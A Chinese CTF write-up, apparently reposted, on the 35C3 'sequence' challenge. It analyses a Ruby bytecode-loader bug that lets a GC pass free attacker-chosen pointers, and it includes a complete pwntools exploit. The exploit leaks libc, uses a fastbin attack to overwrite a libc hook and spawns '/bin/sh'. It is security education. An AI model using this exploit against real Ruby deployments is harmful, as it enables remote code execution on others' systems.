Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

以0kill的35C3 0day CTF纪念2018

0
0

突然发现去年的今天写的也是C3CTF的writeup,同样最后都卡在了ruby的题上,只是不同的是去年搞定了4个题,今年不仅只看了一个题,而且到比赛结束都没有搞定,非常不开心。。。

今年最后一场比赛就看了ruby的sequence这一题,题目逻辑很简单,主要功能就是加载用户提供的ruby字节码然后disasm,并disable了glibc中 tcache

strs = {} loop do print '> ' STDOUT.flush cmd, *args = gets.split begin case cmd when 'disas' stridx = args[0].to_i puts RubyVM::InstructionSequence::load_from_binary(strs[stridx]).disasm when 'gc' GC.start when 'write' stridx, i, c = args.map(&:to_i) (strs[stridx] ||= "\0"*(i + 1))[i] = c.chr when 'delete' stridx = args[0].to_i strs.delete stridx else puts "Unknown command" end STDOUT.flush rescue => e puts "Error: #{e}" end end

看代码自然可以想到考点是在 load_from_binary 的问题上,而且 README.md 里也提供了fuzzing的方法 https://github.com/niklasb/rubyfun ,我也fuzzing出了很多crash。官方writeup在 https://github.com/niklasb/35c3ctf-challs/tree/master/sequence ,他用的漏洞是load operands时没有检查operands的数量是否大于字节码的长度导致的堆溢出写,利用方法是堆风水然后fastbin attack,有点复杂。比赛时我找到了另一个漏洞,但是没有写出exp,感觉堆风水比官方预期解法还要复杂。

这里主要写一下拿first-blood的5BC他们的非预期解法,暂时没有公开exp,但是可以看到他们使用的漏洞描述 https://github.com/yannayl/ctf-writeups/tree/master/2018/ccc/sequence ,他们好像自己都不太清楚漏洞的原因。我在看了他们的描述后,马上意识到我其实是fuzzing出了这个漏洞的,只是当时由于在我的测试程序中没有触发crash就被我忽略了,测试程序就一行代码

puts RubyVM::InstructionSequence.load_from_binary(File.read(ARGV[0])).disasm

但其实这个漏洞是需要调用 GC 才能触发。。。首先看一下下面的代码,用IDA更清楚一点

void __cdecl ibf_load_iseq_each(const ibf_load *load, rb_iseq_t *iseq, ibf_offset_t offset) { rb_iseq_constant_body *v3; // rax VALUE v4; // rax VALUE *v5; // rax unsigned int v6; // eax VALUE v7; // rax VALUE v8; // rax VALUE exc; // [rsp+48h] [rbp-58h] VALUE pathobj; // [rsp+60h] [rbp-40h] VALUE path; // [rsp+68h] [rbp-38h] VALUE realpath; // [rsp+70h] [rbp-30h] VALUE realpatha; // [rsp+70h] [rbp-30h] const rb_iseq_constant_body *body; // [rsp+78h] [rbp-28h] rb_iseq_constant_body *load_body; // [rsp+80h] [rbp-20h] ibf_offset_t offseta; // [rsp+8Ch] [rbp-14h] offseta = offset; v3 = (rb_iseq_constant_body *)ruby_xcalloc(1uLL, 0x128uLL); iseq->body = v3; load_body = v3; body = (const rb_iseq_constant_body *)&load->buff[offseta]; v3->type = body->type; v3->stack_max = body->stack_max; memcpy(&v3->param, &body->param, 0x30uLL); load_body->local_table_size = body->local_table_size; load_body->is_size = body->is_size; load_body->ci_size = body->ci_size; load_body->ci_kw_size = body->ci_kw_size; load_body->insns_info.size = body->insns_info.size; rb_obj_write_1((VALUE)iseq, &iseq->body->variable.coverage, 8uLL, "compile.c", 9054); ISEQ_ORIGINAL_ISEQ_CLEAR(iseq); iseq->body->variable.flip_count = body->variable.flip_count; realpath = 8LL; v4 = ibf_load_object(load, body->location.pathobj); path = v4; if ( v4 & 7 || !(v4 & 0xFFFFFFFFFFFFFFF7LL) || (*(_DWORD *)v4 & 0x1F) != 5 ) { if ( v4 & 7 || !(v4 & 0xFFFFFFFFFFFFFFF7LL) || (*(_DWORD *)v4 & 0x1F) != 7 ) { rb_raise(rb_eRuntimeError, "unexpected path object"); } else { pathobj = v4; if ( rb_array_len_2(v4) != 2 ) rb_raise(rb_eRuntimeError, "path object size mismatch"); v5 = (VALUE *)rb_array_const_ptr_transient_2(path); path = rb_fstring(*v5); realpath = rb_array_const_ptr_transient_2(pathobj)[1]; if ( realpath != 8 ) { if ( realpath & 7 || !(realpath & 0xFFFFFFFFFFFFFFF7LL) || (*(_DWORD *)realpath & 0x1F) != 5 ) { exc = rb_eArgError; v6 = rb_type(realpath); rb_raise(exc, "unexpected realpath %lx(%x), path=%+li\v", realpath, v6, path); } realpath = rb_fstring(realpath); } } rb_iseq_pathobj_set(iseq, path, realpath); } else { realpatha = rb_fstring(v4); rb_iseq_pathobj_set(iseq, realpatha, realpatha); } v7 = ibf_load_location_str(load, body->location.base_label); rb_obj_write_1((VALUE)iseq, &load_body->location.base_label, v7, "compile.c", 9085); v8 = ibf_load_location_str(load, body->location.label); rb_obj_write_1((VALUE)iseq, &load_body->location.label, v8, "compile.c", 9086); load_body->location.first_lineno = body->location.first_lineno; load_body->location.node_id = body->location.node_id; load_body->location.code_location.beg_pos = body->location.code_location.beg_pos; load_body->location.code_location.end_pos = body->location.code_location.end_pos; load_body->is_entries = (iseq_inline_storage_entry *)ruby_xcalloc(body->is_size, 0x18uLL); load_body->ci_entries = ibf_load_ci_entries(load, body); load_body->cc_entries = (rb_call_cache *)ruby_xcalloc(body->ci_kw_size + body->ci_size, 0x28uLL); load_body->param.opt_table = ibf_load_param_opt_table(load, body); load_body->param.keyword = ibf_load_param_keyword(load, body); load_body->insns_info.body = ibf_load_insns_info_body(load, body); load_body->insns_info.positions = ibf_load_insns_info_positions(load, body); load_body->local_table = ibf_load_local_table(load, body); load_body->catch_table = ibf_load_catch_table(load, body); load_body->parent_iseq = ibf_load_iseq(load, body->parent_iseq); load_body->local_iseq = ibf_load_iseq(load, body->local_iseq); ibf_load_code(load, iseq, body); rb_iseq_insns_info_encode_positions(iseq); rb_iseq_translate_threaded_code(iseq); }

可以看到第 25 行从用户提供的binary中复制了 0x30 个字节到 load_body->param ,如果正常执行下去到 122 行和 123 行,它又会申请内存来加载 param_opt_table 和 param_opt_keyword 并存放到 load_body->param.opt_table(offset:0x20) 和 load_body->param.keyword(offset:0x28) ,后面 GC 时就会把申请的内存 free 掉。但其实这里有一个问题,如果在前面就抛出一个异常直接返回,那 param.opt_table 和 param.keyword 就是用户可以控制的内容,而题目中又恰好捕获了异常可以让用户调用 GC ,因此给了用户 free 任意地址的机会。

信息泄露有很多种方式,最简单的是改字符串的长度,因为 string->len 是用户可控的,当然也有其他更复杂的方式

static VALUE ibf_load_object_string(const struct ibf_load *load, const struct ibf_object_header *header, ibf_offset_t offset) { const struct ibf_object_string *string = IBF_OBJBODY(struct ibf_object_string, offset); VALUE str = rb_str_new(string->ptr, string->len); int encindex = (int)string->encindex; if (encindex > RUBY_ENCINDEX_BUILTIN_MAX) { VALUE enc_name_str = ibf_load_object(load, encindex - RUBY_ENCINDEX_BUILTIN_MAX); encindex = rb_enc_find_index(RSTRING_PTR(enc_name_str)); } rb_enc_associate_index(str, encindex); if (header->internal) rb_obj_hide(str); if (header->frozen) str = rb_fstring(str); return str; }

最后也是用fastbin attack搞定

# test5.ruby # a = 'AAAAAAAA' from pwn import * import os import subprocess LOCAL = 0 DEBUG = 0 VERBOSE = 0 TEST = 1 context.terminal = ['tmux', 'splitw', '-h'] if VERBOSE: context.log_level = 'debug' else: context.log_level = 'critical' if LOCAL: io = process(['./miniruby', 'challenge.rb'], env={'LD_LIBRARY_PATH': '/chall'}) if DEBUG: gdb.attach(io, '') else: io = remote('127.0.0.1', 1337) io.recvuntil('challenge: ') challenge = io.recvuntil('\n')[:-1] print challenge response = subprocess.check_output('./pow.py ' + challenge, shell=True) print response.split(' ')[-1][:-1] io.recvuntil('Your response? ') io.sendline(response.split(' ')[-1][:-1]) def write(stridx, idx, val): io.recvuntil('> ') io.sendline('write %d %d %d' % (stridx, idx, val)) def disas(stridx): io.recvuntil('> ') io.sendline('disas %d' % stridx) def delete(stridx): io.recvuntil('> ') io.sendline('delete %d' % stridx) def gc(): io.recvuntil('> ') io.sendline('gc') def c4(data, idx, val): for i in range(4): data[idx+i] = p32(val)[i] def c8(data, idx, val): for i in range(8): data[idx+i] = p64(val)[i] def create_str(stridx, string): for i in range(len(string) - 1, -1, -1): write(stridx, i, ord(string[i])) def parse(s): res = [] i = 0 while i < len(s)-1: c = s[i] if c != '\\': res.append(c) i += 1 else: nxt = s[i+1] escapes = '\\tbfva"\'nre#' sub = "\\\t\b\f\v\a\"'\n\r\x1b#" if nxt in escapes: res.append(sub[escapes.index(nxt)]) i += 2 elif nxt == 'x': res.append(chr(int(s[i+2:i+4], 16))) i += 4 else: assert False, repr(nxt) return ''.join(res) for i in range(0x2000): write(0x10+i, 0x100+i-1, 0) os.system('LD_LIBRARY_PATH=/chall ./miniruby ./make_sample.rb test5.rb test5.bin') with open('test5.bin', 'rb') as f: test_bin = list(f.read()) leak_size = 0x10000 c8(test_bin, 0x210, leak_size) create_str(0, test_bin) disas(0) io.recvuntil('AAAAAAAA') leak_data = io.recvn(0x20000) io.recvuntil('0005 leave') leak_val = parse(leak_data) fake_chunk_idx = None libc = None for i in range(0, len(leak_val)/8*8, 8): val = u64(leak_val[i:i+8]) if val == 0x502065 and fake_chunk_idx == None: fake_chunk_idx = u64(leak_val[i+16:i+24]) - 0x100 + 0x10 buf_addr = u64(leak_val[i+24:i+32]) print 'fake_chunk_idx:', hex(fake_chunk_idx) print 'buf_addr', hex(buf_addr) break elif val >> 40 == 0x7f and val & 0xfff == 0xc80 and libc == None: libc = val - 0x1dcc80 print 'libc:', hex(libc) elif libc != None and fake_chunk_idx != None: break if libc == None or fake_chunk_idx == None: print 'leak failed' exit(0) fake_chunk = p64(0) + p64(0x71) fake_chunk += p64(0) * 12 fake_chunk += p64(0) + p64(0x71) create_str(fake_chunk_idx, fake_chunk) with open('test5.bin', 'rb') as f: test_bin = list(f.read()) c4(test_bin, 0x1e0, 1<<5) c4(test_bin, 0x1e4, 7) c8(test_bin, 0xc0, buf_addr+0x10) create_str(1, test_bin) disas(1) gc() create_str(fake_chunk_idx, p64(0) + p64(0x71) + p64(libc+0x1dcbed)) create_str(2, '/bin/sh;'.ljust(0x60, '\x00')) create_str(3, ('\x00'*11 + p64(libc+0x4f370)).ljust(0x60, '\x00')) write(2, 0x60, 0) io.interactive()

总之还是基础不够扎实,如果我实现过一门面向对象的语言,也许当时就会想到那个crash的原因。

最后的最后再发一些牢骚,2018年发生了很多事,正式毕业,工作也快半年了,越来越觉得自己的知识不够用,还有很多东西需要学。路还很长,不要忘记善良。

推荐资料 Ruby Hacking Guide Ruby Under a Microscope

Viewing all articles
Browse latest Browse all 12749